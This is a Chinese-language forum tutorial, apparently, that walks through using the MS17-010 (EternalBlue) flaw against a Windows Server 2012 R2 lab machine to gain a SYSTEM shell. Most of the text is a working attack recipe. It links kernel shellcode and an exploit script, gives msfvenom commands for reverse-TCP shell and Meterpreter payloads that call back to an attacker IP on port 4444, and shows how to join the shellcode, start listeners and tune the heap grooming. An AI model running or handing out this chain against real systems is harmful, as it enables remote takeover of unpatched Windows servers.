利用ms17-10提权win2012测试环境搭建:

这里我们简单地进行测试,我们需要一个kali2017.1的虚拟机,以及一个Windows 2012 R2的目标靶机虚拟机。


图一 Windows 2012 R2(x64)

该漏洞可以在低权限下被利用,这种前提条件需要获得目标靶机的普通用户登录凭据(用户名和密码),一旦该漏洞被利用总会收到一个system权限的终端。


图二 创建一个普通账号test


图三 启用来宾用户guest

要理解这个漏洞如何被利用,我们必须考虑这三种类型的文件,以及我们如何创建这些文件:

  • Exploit

  • Kernel Shellcode

  • Userland Shellcode


图四 第一种流程图


图五 第二种流程图

第1步:创建 Kernel Shellcode

我们首先要创建一个Kernel Shellcode,可从下面地址中获得:

https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm

将下载的代码复制粘贴另存为kernel_shell_x64.asm,为了执行它,我们将执行这个命令:

nasm -f bin kernel_shell_x64.asm

因此,它将生成一个名为kernel_shell_x64 的文件 :


图六 创建 kernel_shell_x64

第2步:创建Userland Shellcode(Payload)

下一步是要创建一个 普通用户的Shellcode(为了简化,它会创建一个二进制文件,其中将包含我们的有效载荷)我们需要使用工具msfvenom

它将创建两种类型的有效负载:

  1. 一个反向tcp的有效载荷以及
  2. 一个反向msf的有效载荷Meterpreter

反向tcp的有效载荷:

msfvenom  -p  windows/x64/shell/reverse_tcp  -f raw -o  shell_msf.bin  EXITFUNC=thread  LHOST=10.0.0.86  LPORT=4444


图片七 创建反向tcp的有效载荷

反向msf的有效载荷Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread  LHOST=10.0.0.86  LPORT=4444


图八 msf的有效载荷Meterpreter

一旦创建了有效载荷,我们应该把每一个与kernel_shell_x64 文件连接起来, 这样我们将生成新的二进制文件:

cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin


图九 生成reverse_shell.bin


图十 生成meterpreter.bin

我们创建一个名为binaries的文件夹,我们将文件meterpreter.binreverse_shell.bin复制到该文件下。

mkdir binarios 
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls


图十一 创建二进制文件夹和复制文件

第3步:创建exploit.py

Exploit.py创建文件,代码可以从该链接下载:

https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e


图十二 创建exploit.py文件

第4步:配置exploit.py与相应的用户

在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号(如需要来宾则需要启用guest账号)进行修改测试。


图十四 test用户Exploit.py配置

第5步:监听反弹shell


图十五 shell监听反弹(Payload: windows/x64/shell/reverse_tcp)


图十六 msf监听反弹(Payload: windows/x64/meterpreter/reverse_tcp)

第6步:执行漏洞利用

在这一步中,我们将使用exploit.py和包含反向shellmeterpreter负载会话的二进制文件进行攻击。值为“500”的参数对应于“numGroomConn”。调整连接数量“Groom”有助于在内核中实现连续的内存池,以便覆盖缓冲区结束我们想要的位置,并实现正确的shellcode执行。


图十七 利用负载reverse_shell.bin


图十八 利用有效载荷meterpreter.bin

第7步:执行结果:


图十九 获取目标终端shell


图二十 有效载荷Meterpreter的shell

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖